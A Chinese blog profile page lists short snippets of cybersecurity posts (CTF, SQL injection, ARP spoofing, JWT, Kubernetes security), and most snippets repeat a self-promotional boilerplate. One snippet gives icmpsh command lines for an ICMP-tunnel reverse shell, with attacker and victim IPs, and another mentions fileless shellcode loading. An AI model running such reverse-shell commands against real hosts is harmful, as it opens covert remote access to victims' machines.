- 博客(29)
- 收藏
- 关注
RSS订阅原创 Mac安装Kali保姆级教程
进入安装页面，按住即可将鼠标从VM Fusion中释放出来如果发现VM Fusion出现如下页面：查看是否是自己的iso镜像下载错误，如果是mac，则kali的iso文件应该为arm，而非amd64。
2024-05-17 03:11:25
567
原创 JWT重放漏洞如何攻防？你的系统安全吗？_jwt防止重放攻击
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-17 02:11:35
479
原创 Go-RSA加密解密详解与代码_go rsa
W.Diffie和Hellman发表了著名的文章《密码学的新方向》首次提出了公钥密码算法的思想。公钥密码体制为密码学的发展提供了新的理论和技术思想，一方面公钥密码算法是建立在数学函数基础上的，而不是建立在字符或位方式的操作上的；另一方面公钥密码算法是以非对称的形式使用加密密钥和解密密钥，这两个密钥的使用对密钥管理、认证等都有着深刻的实际意义。可以说，公钥密码体制的出现在密码学发展史上是一次质的飞跃。1978年，Rivest,Shamir和A。
2024-05-16 16:21:29
442
原创 CTF逆向Reverse入门学习路线（面向小白）_逆向reverse 思路
ollydbg，简称OD已经蛮久没有更新了，而且OD主要支持32位的PE文件调试和分析；所以这里我比较推荐使用Xdbg，Xdbg经常更新，还有自动中文汉化。x64dbg顺便讲下简单使用：随便拖入一个可执行文件，这可以看到四个窗口；左上角的反汇编窗口，这里显示是我们要分析的程序的反汇编代码：截取一行讲解00007FFA5A3C076A | 55 | push rbp | 看这里！！！
2024-05-16 15:05:44
564
原创 98%的企业与被入侵的第三方有关联，如何有效的防止入侵(1)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-16 04:18:20
716
原创 2024年网安最新实战SRC漏洞挖掘全过程，流程详细【网络安全】
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-16 03:15:40
746
原创 2024人工智能与网络安全国际会议（IACAINS 2024）
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-16 02:21:28
661
原创 最新网络安全（黑客）——自学篇_windows黑客学习资料
在整理好自己的知识框架，知道该怎么学习之后，下一步就是往框架里面填充内容了。此时我们的选择也可以很多，比如CSDN，比如知乎，再比如B站，都有很多人在分享自己的学习资料，但我觉得这里存在的很大一个问题就是不连贯、不完善，大部分免费分享的教程，都是东一块西一块前言不搭后语学着学着就蒙了，这是我自学之后的亲身感受。教程分享给你，里面不仅有web安全，还有渗透测试等等内容，包含电子书面试题pdf文档视频以及相关的课件笔记，我都已经学过了，已关注 求都可以免费分享给大家！等不及的小伙伴也可以直接厚台踢我！
2024-05-15 19:05:16
285
原创 探索网络攻击：ARP断网、ARP欺骗和DNS欺骗实验解析_arp实现断网
ARP（Address Resolution Protocol）是一种用于在TCP/IP网络中根据IP地址获取物理地址（MAC地址）的协议。在主机发送数据时，需要知道目标设备的物理地址来进行通信。ARP通过发送广播请求并接收返回消息的方式，来确定目标设备的物理地址。同时，收到返回消息后，主机将目标设备的IP地址和物理地址存入本机的ARP缓存表中，并在一定时间内保持有效，这样下次通信时就可以直接查询ARP缓存，节约资源。
2024-05-15 02:59:33
1205
原创 打造高效自动化渗透测试系统：关键步骤与实践(1)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-14 19:59:32
811
原创 容器云平台安全隔离方案详解_云平台中容器安全
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-14 18:57:12
617
原创 如何从0基础毫无经验一步一步进入网络安全行业 _自学it怎么进入网络安全工作(2)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-14 10:11:34
271
原创 医院网络安全建设：三网整体设计和云数据中心架构设计_医院数据中心逻辑架构
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-14 04:34:09
940
原创 一篇掌握网安所需PHP编程基础(1)
/输出：object(Stu)#2 (3) { ["sex"]=> string(3) "女" ["name":"Stu":private]=> string(6) "小荷" ["age":protected]=> int(17) }//首先会调用\_\_sleep(),之后（根据\_\_sleep()中的return）再序列化，若没有\_\_sleep()或没有return什么属性，则所有参数(name age sex)序列化，unserialize也同理。
2024-05-13 18:00:19
642
1
原创 【网络安全01】网络安全引言(网络安全概述、计算机安全、OSI安全体系、网络安全模型)
网络安全是一个跨多门学科的综合性科学，包括：通信技术、网络技术、软硬件设计技术、密码学等；在理论上，网络安全是建立在密码学以及协议设计的基础上的；在技术上，网络安全取决于两个方面：网络设备硬件和软件的安全，以及设备的访问控制；常见“安全因素”物理因素：物理设备的不安全，电磁波泄漏、能源消耗泄漏等；系统因素：系统软、硬件漏洞，病毒感染，入侵；网络因素：网络协议漏洞，会话劫持，网络拥塞，拒绝服务；管理因素：安全意识淡漠，误操作，内部人操作；安全原由自身的缺陷：系统软硬件缺陷，网络协议的缺陷。
2024-05-13 12:13:29
833
原创 【渗透测试笔记】之【内网渗透——网络层隧道（icmpsh、PingTunnel的使用：icmp隧道反向shell
python icmpsh_m.py 192.168.8.35（攻击者IP） 192.168.8.18（受害者IP）icmpsh.exe -t 192.168.8.35（攻击者IP） -d 500 -b 30 -s 128。-s：字节最大数据缓冲区大小（以字节为单位）-t：攻击者IP，必选。-d：请求延迟（毫秒）-o：响应超时（毫秒）方式二：官网下载安装。
2024-05-13 11:08:23
214
原创 【云原生-K8s】镜像漏洞安全扫描工具Trivy部署及使用(1)
Trivy是一个开源的容器镜像漏洞扫描器，可以扫描常见的操作系统和应用程序依赖项的漏洞。它可以与Docker和Kubernetes集成，帮助用户在构建和部署容器镜像时发现安全漏洞。Trivy支持多种漏洞数据库，包括Red Hat、Debian、Alpine等，可以根据用户的需求进行配置。Trivy还支持CI/CD集成，可以在构建过程中自动扫描镜像并生成报告。
2024-05-13 10:08:37
979
原创 [渗透测试]—7
本章节介绍了社会工程学攻击技术，包括钓鱼、身份欺诈、预言、尾随等。学会识别这些攻击手段并采取相应的防范措施，可以有效提高个人和公司的安全防护能力。自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
2024-05-13 09:09:01
770
原创 WEB网站服务器安全漏洞扫描环境搭建及漏洞工具扫描(1)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-13 04:55:02
955
原创 SQL注入（一）
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-13 03:48:52
946
原创 Python shellcode免杀无文件落地_文件不落地免杀
在内存中使用文件内容，例如打印文件内容。# 去除开头的 “\x” 并分割字符串。# 从响应中获取文件内容。
2024-05-13 02:42:45
188
原创 Linux系统性能调优实战_linux性能优化实战(3)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-13 00:30:18
636
原创 k8s学习-CKS真题-Runtime设置gVisor_安装gvisor(2)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-12 16:29:45
414
原创 CTFShow web入门 文件上传
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-12 11:19:19
262
原创 ActiveMQ任意文件写入漏洞(CVE-2016-3088)(1)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-12 03:01:39
990
1
原创 2024年网络安全最全k8s学习-CKS真题-利用AppArmor进行应用行为限制_container，2024年最新2024最新网络安全大厂面试真题大全(1)
最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。😝朋友们如果有需要的话，可以联系领取~
2024-05-11 23:25:56
309
原创 2024年Android逆向分析实例(一)-绕过搜狗输入法的签名验证，2024网络安全常见面试题(1)
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
2024-05-11 22:22:02
841
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人